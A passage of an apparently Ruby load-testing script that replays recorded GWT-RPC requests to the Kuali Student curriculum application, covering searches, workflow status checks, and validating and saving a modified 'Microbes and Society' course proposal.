\"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n\n # Dupe\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|14|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponentType.credit.degree.fixed|kuali.resultComponentType.credit.degree.range|kuali.resultComponentType.credit.degree.multiple|lrc.search.resultComponentType|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|1|7|8|6|3|9|10|9|11|9|12|0|13|14|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # Dupe\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # Dupe\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # Dupe\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.fee.rateType|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CommentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|62D53D0C5087061126A72510E98E7E9A|org.kuali.student.core.comments.ui.client.service.CommentRpcService|getUserRealName|java.lang.String/2004016611|#{opts[:modification_person]}|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|22|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.FA2007-2008|atp.advancedAtpSearchParam.atpEndDateAtpConstraintIdExclusive|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|org.kuali.student.common.search.dto.SortDirection/1734387768|1|2|3|4|1|5|5|0|0|6|3|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|7|19|0|0|20|21|22|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/DocumentRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5771428875B68D3E8EC7527EC8D18D40|org.kuali.student.core.document.ui.client.service.DocumentRpcService|getRefDocIdsForRef|java.lang.String/2004016611|kuali.org.RefObjectType.ProposalInfo|%%_#{opts[:preRoute_dyn_var]}%%|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:workflowId_dyn_var]}%%|1|2|3|4|1|5|6|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code||subjectCode.search.orgsForSubjectCode|subjectCode.resultColumn.orgLongName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintIdExclusive|kuali.atp.FA2007-2008|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|19|20|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|22|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.FA2007-2008|atp.advancedAtpSearchParam.atpEndDateAtpConstraintIdExclusive|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|org.kuali.student.common.search.dto.SortDirection/1734387768|1|2|3|4|1|5|5|0|0|6|3|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|7|19|0|0|20|21|22|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|19|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|1|2|3|4|1|5|5|0|0|6|2|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|0|18|19|0|0|\"\n }\n )\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|148|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|validate|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|NO|_runtimeData|id-translation|North|code|#{course_number}|courseNumberSuffix|122|courseSpecificLOs|courseTitle|#{course_title}|creditOptions|fixedCreditValue|4.0|id|kuali.creditType.credit.degree.4.0|metaInfo|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateTime|versionInd|0|resultValues|state|Active|type|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|formatted|%%_#{opts[:description_dyn_var]}%%|plain|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lecture|contactHours|unitQuantity|3|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|%%_#{opts[:defaultEnrollmentEstimate_dyn_var]}%%|createId|#{opts[:modification_person]}|java.util.Date/1659716317|updateId|Draft|unitsContentOwner|Lecture|kuali.lu.type.activity.Lab|2|%%_#{opts[:lecture_dyn_var]}%%|Lab|%%_#{opts[:lab_dyn_var]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|Letter|Pass-Fail|%%_#{opts[:pass_fail_dyn_var]}%%|instructors|joints|level|100|1|outOfClassHours|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{course_code}|kuali.atp.season.Fall|kuali.atp.season.Winter|kuali.atp.season.Spring|Fall|Winter|Spring|transcriptTitle|MICROBES AND SOCIETY|kuali.lu.type.CreditCourse|65|Biology Dept|unitsDeployment|variations|versionInfo|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionComment|versionIndId|%%_#{opts[:course_ind_dyn_var]}%%|versionedFromId|%%_#{opts[:course_name_dyn_var]}%%|Standard final Exam|proposal|prevStartTerm|kuali.atp.FA2007-2008|workflowNode|PreRoute|%%_#{opts[:preRoute_dyn_var]}%%|name|Modify: Microbes and Society|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|Saved|kuali.proposal.type.course.modify|workflowId|%%_#{opts[:workflowId_dyn_var]}%%|collaboratorInfo|collaborators|1|2|3|4|1|5|5|6|7|0|38|8|9|10|11|1|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|0|-1|-31|8|29|14|30|8|31|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|32|14|33|8|34|14|35|8|36|17|5|6|7|0|3|8|37|38|39|3529485200|1288490188800|0|8|40|38|39|3529485200|1288490188800|0|8|41|14|42|-43|-49|8|43|17|5|6|7|0|1|18|-15|14|33|-43|-61|8|44|14|45|8|46|14|47|8|21|17|5|6|7|0|1|8|46|17|5|6|7|0|1|8|22|14|48|-73|-75|-43|-71|-39|-41|-1|-37|8|49|17|5|6|7|0|0|-1|-81|8|50|17|5|6|7|0|2|8|51|14|52|8|53|14|52|-1|-85|8|54|17|5|6|7|0|3|8|55|14|56|8|57|58|19|1|8|21|17|5|6|7|0|1|8|55|17|5|6|7|0|1|8|22|14|59|-104|-106|-95|-102|-1|-93|8|60|38|39|3208226304|1185410973696|0|8|61|17|5|6|7|0|1|8|62|17|5|6|7|0|0|-117|-119|-1|-115|8|63|17|5|6|7|0|0|-1|-123|8|64|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|65|17|5|6|7|0|2|18|-15|17|5|6|7|0|9|8|66|14|67|8|68|17|5|6|7|0|3|8|69|14|70|8|71|14|72|8|21|17|5|6|7|0|1|8|71|17|5|6|7|0|1|8|22|14|73|-155|-157|-147|-153|-141|-145|8|74|58|-15|8|54|17|5|6|7|0|3|8|55|14|56|8|57|58|-101|8|21|17|5|6|7|0|1|8|55|17|5|6|7|0|1|8|22|14|59|-175|-177|-167|-173|-141|-165|8|34|14|75|8|36|17|5|6|7|0|5|8|76|14|77|8|37|38|78|1124274752|1322849927168|8|79|14|77|8|40|38|78|1124274752|1322849927168|8|41|14|42|-141|-185|8|44|14|80|8|81|17|5|6|7|0|0|-141|-203|8|21|17|5|6|7|0|1|8|66|17|5|6|7|0|1|8|22|14|82|-209|-211|-141|-207|-137|-139|18|-101|17|5|6|7|0|9|8|66|14|83|8|68|17|5|6|7|0|3|8|69|14|84|8|71|14|72|8|21|17|5|6|7|0|1|8|71|17|5|6|7|0|1|8|22|14|73|-233|-235|-225|-231|-219|-223|8|74|58|-15|8|54|17|5|6|7|0|3|8|55|14|56|8|57|58|-101|8|21|17|5|6|7|0|1|8|55|17|5|6|7|0|1|8|22|14|59|-253|-255|-245|-251|-219|-243|8|34|14|85|8|36|17|5|6|7|0|5|8|76|14|77|8|37|38|78|1124274766|1322849927168|8|79|14|77|8|40|38|78|1124274766|1322849927168|8|41|14|42|-219|-263|8|44|14|80|8|81|17|5|6|7|0|0|-219|-281|8|21|17|5|6|7|0|1|8|66|17|5|6|7|0|1|8|22|14|86|-287|-289|-219|-285|-137|-217|-133|-135|8|34|14|87|8|36|17|5|6|7|0|5|8|76|14|77|8|37|38|78|1124274750|1322849927168|8|79|14|77|8|40|38|78|1124274750|1322849927168|8|41|14|42|-133|-297|8|44|14|80|8|88|17|5|6|7|0|0|-133|-315|8|46|14|89|-129|-131|-1|-127|8|90|17|5|6|7|0|3|18|-15|14|91|18|-101|14|92|8|21|17|5|6|7|0|2|18|-15|17|5|6|7|0|1|8|22|14|93|-331|-333|18|-101|17|5|6|7|0|1|8|22|14|94|-331|-339|-323|-329|-1|-321|8|34|14|95|8|96|17|5|6|7|0|0|-1|-347|8|97|17|5|6|7|0|0|-1|-351|8|98|14|99|8|36|17|5|6|7|0|5|8|76|14|77|8|37|38|78|1124274485|1322849927168|8|79|14|77|8|40|38|78|1124274661|1322849927168|8|41|14|100|-1|-357|8|101|17|5|6|7|0|2|8|69|14|100|8|71|14|72|-1|-373|8|102|10|11|0|8|103|17|5|6|7|0|0|-1|-384|8|104|10|-383|8|44|14|80|8|105|14|106|8|88|17|5|6|7|0|4|18|-15|14|107|18|-101|14|108|18|19|2|14|109|8|21|17|5|6|7|0|3|18|-15|17|5|6|7|0|1|8|22|14|110|-407|-409|18|-101|17|5|6|7|0|1|8|22|14|111|-407|-415|18|-403|17|5|6|7|0|1|8|22|14|112|-407|-421|-396|-405|-1|-394|8|113|14|114|8|46|14|115|8|81|17|5|6|7|0|2|18|-15|14|116|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|117|-439|-441|-433|-437|-1|-431|8|118|17|5|6|7|0|0|-1|-447|8|119|17|5|6|7|0|0|-1|-451|8|120|17|5|6|7|0|4|8|121|122|123|2|0|8|124|14|124|8|125|14|126|8|127|14|128|-1|-455|8|21|17|5|6|7|0|2|8|105|17|5|6|7|0|1|8|22|14|106|-470|-472|8|13|17|5|6|7|0|1|8|22|14|129|-470|-478|-1|-468|8|130|17|5|6|7|0|12|8|131|14|132|8|133|14|134|8|34|14|135|8|36|17|5|6|7|0|5|8|76|14|77|8|37|38|78|1124275211|1322849927168|8|79|14|77|8|40|38|78|1124280435|1322849927168|8|41|14|84|-486|-494|8|136|14|137|8|138|17|5|6|7|0|1|18|-15|14|95|-486|-512|8|139|14|140|8|141|17|5|6|7|0|0|-486|-520|8|142|17|5|6|7|0|0|-486|-524|8|44|14|143|8|46|14|144|8|145|14|146|-1|-484|8|147|17|5|6|7|0|1|8|148|17|5|6|7|0|0|-536|-538|-1|-534|0|0|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|22|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|atp.advancedAtpSearchParam.atpType|java.lang.String/2004016611|kuali.atp.type.Spring|kuali.atp.type.Summer|kuali.atp.type.Fall|kuali.atp.type.Session1|kuali.atp.type.Session2|kuali.atp.type.Mini-mester1A|kuali.atp.type.Mini-mester1B|atp.advancedAtpSearchParam.atpStartDateAtpConstraintId|kuali.atp.FA2007-2008|atp.advancedAtpSearchParam.atpEndDateAtpConstraintIdExclusive|atp.search.advancedAtpSearch|atp.resultColumn.atpStartDate|org.kuali.student.common.search.dto.SortDirection/1734387768|1|2|3|4|1|5|5|0|0|6|3|7|8|6|7|9|10|9|11|9|12|9|13|9|14|9|15|9|16|0|7|17|0|18|7|19|0|0|20|21|22|1|0|\"\n }\n )\n\n @request.add_thinktime(10)\n\n # The next HTTP Request happens after clicking \"Edit\", which is located to the right of \"Course Information\" which is to the right of the left-hand pane\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|subjectCode.queryParam.code|#{course_code}|subjectCode.search.orgsForSubjectCode|subjectCode.resultColumn.orgLongName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add_thinktime(10)\n\n # The next 4 HTTP Requests happen after clicking \"Save\" after modifying Course Information as follows:\n # Change course title to \"Microbes and American Society\"\n # Add \"Focus on America\" to the end of the description\n # Enter \"because america has the best microbes\" for Proposal Rationale\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|152|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|NO|_runtimeData|id-translation|North|code|#{course_number}|courseNumberSuffix|122|courseSpecificLOs|courseTitle|#{new_course_title}|creditOptions|fixedCreditValue|4.0|id|kuali.creditType.credit.degree.4.0|metaInfo|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateTime|versionInd|0|resultValues|state|Active|type|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|formatted|%%_#{opts[:description_dyn_var]}%%|plain|%%_#{opts[:description_dyn_var]}%%#{new_description_addition}|dirty|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|effectiveDate|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lecture|contactHours|unitQuantity|3|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|%%_#{opts[:defaultEnrollmentEstimate_dyn_var]}%%|createId|#{opts[:modification_person]}|java.util.Date/1659716317|updateId|Draft|unitsContentOwner|Lecture|kuali.lu.type.activity.Lab|2|%%_#{opts[:lecture_dyn_var]}%%|Lab|%%_#{opts[:lab_dyn_var]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|Letter|Pass-Fail|%%_#{opts[:pass_fail_dyn_var]}%%|instructors|joints|level|100|1|outOfClassHours|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{course_code}|kuali.atp.season.Fall|kuali.atp.season.Winter|kuali.atp.season.Spring|Fall|Winter|Spring|transcriptTitle|MICROBES AND SOCIETY|kuali.lu.type.CreditCourse|65|Biology 